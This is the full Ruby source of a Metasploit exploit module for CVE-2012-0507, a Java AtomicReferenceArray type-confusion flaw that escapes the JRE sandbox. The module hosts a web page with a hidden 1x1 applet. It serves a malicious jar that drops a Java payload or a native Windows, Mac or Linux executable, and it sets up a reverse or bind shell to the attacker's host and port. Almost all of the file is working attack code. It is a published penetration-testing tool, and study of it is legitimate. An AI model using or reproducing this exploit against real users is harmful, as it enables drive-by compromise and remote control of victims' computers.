Path: blob/master/modules/exploits/multi/browser/java_atomicreferencearray.rb
19511 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpServer::HTML9include Msf::Exploit::EXE1011include Msf::Exploit::Remote::BrowserAutopwn12autopwn_info({ :javascript => false })1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Java AtomicReferenceArray Type Violation Vulnerability',19'Description' => %q{20This module exploits a vulnerability due to the fact that21AtomicReferenceArray uses the Unsafe class to store a reference in an22array directly, which may violate type safety if not used properly.23This allows a way to escape the JRE sandbox, and load additional classes24in order to perform malicious operations.25},26'License' => MSF_LICENSE,27'Author' => [28'Jeroen Frijters', # Initial discovery according to his blog29'sinn3r', # metasploit module30'juan vazquez', # metasploit module31'egypt' # added support for older java versions32],33'References' => [34['CVE', '2012-0507'],35['OSVDB', '80724'],36['BID', '52161'],37['URL', 'http://weblog.ikvm.net/PermaLink.aspx?guid=cd48169a-9405-4f63-9087-798c4a1866d3'],38['URL', 'http://blogs.technet.com/b/mmpc/archive/2012/03/20/an-interesting-case-of-jre-sandbox-breach-cve-2012-0507.aspx'],39['URL', 'http://schierlm.users.sourceforge.net/TypeConfusion.html'],40['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2012-0507'],41['URL', 'https://www.rapid7.com/blog/post/2012/03/29/cve-2012-0507--java-strikes-again']42],43'Platform' => %w{java linux osx solaris win},44'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },45'Targets' => [46[47'Generic (Java Payload)',48{49'Platform' => ['java'],50'Arch' => ARCH_JAVA,51}52],53[54'Windows x86 (Native Payload)',55{56'Platform' => 'win',57'Arch' => ARCH_X86,58}59],60[61'Mac OS X PPC (Native Payload)',62{63'Platform' => 'osx',64'Arch' => ARCH_PPC,65}66],67[68'Mac OS X x86 (Native Payload)',69{70'Platform' => 'osx',71'Arch' => ARCH_X86,72}73],74[75'Linux x86 (Native Payload)',76{77'Platform' => 'linux',78'Arch' => ARCH_X86,79}80],81],82'DefaultTarget' => 0,83'DisclosureDate' => '2012-02-14',84'Notes' => {85'Reliability' => UNKNOWN_RELIABILITY,86'Stability' => UNKNOWN_STABILITY,87'SideEffects' => UNKNOWN_SIDE_EFFECTS88}89)90)91end9293def exploit94# load the static jar file95path = File.join(Msf::Config.data_directory, "exploits", "CVE-2012-0507.jar")96fd = File.open(path, "rb")97@jar_data = fd.read(fd.stat.size)98fd.close99100super101end102103def on_request_uri(cli, request)104data = ""105host = ""106port = ""107108if not request.uri.match(/\.jar$/i)109if not request.uri.match(/\/$/)110send_redirect(cli, get_resource() + '/', '')111return112end113114print_status("Sending #{self.name}")115116payload = regenerate_payload(cli)117if not payload118print_error("Failed to generate the payload.")119return120end121122if target.name == 'Generic (Java Payload)'123if datastore['LHOST']124jar = payload.encoded125host = datastore['LHOST']126port = datastore['LPORT']127vprint_status("Sending java reverse shell")128else129port = datastore['LPORT']130host = cli.peerhost131vprint_status("Java bind shell")132end133if jar134print_status("Generated jar to drop (#{jar.length} bytes).")135jar = Rex::Text.to_hex(jar, prefix = "")136else137print_error("Failed to generate the executable.")138return139end140else141142# NOTE: The EXE mixin automagically handles detection of arch/platform143data = generate_payload_exe144145print_status("Generated executable to drop (#{data.length} bytes).")146data = Rex::Text.to_hex(data, prefix = "")147148end149150send_response_html(cli, generate_html(data, jar, host, port), { 'Content-Type' => 'text/html' })151return152end153154print_status("Sending jar")155send_response(cli, generate_jar(), { 'Content-Type' => "application/octet-stream" })156157handler(cli)158end159160def generate_html(data, jar, host, port)161jar_name = rand_text_alpha(rand(6) + 3) + ".jar"162163html = "<html><head></head>"164html += "<body>"165html += "<applet archive=\"#{jar_name}\" code=\"msf.x.Exploit.class\" width=\"1\" height=\"1\">"166html += "<param name=\"data\" value=\"#{data}\"/>" if data167html += "<param name=\"jar\" value=\"#{jar}\"/>" if jar168html += "<param name=\"lhost\" value=\"#{host}\"/>" if host169html += "<param name=\"lport\" value=\"#{port}\"/>" if port170html += "</applet></body></html>"171return html172end173174def generate_jar()175return @jar_data176end177end178179180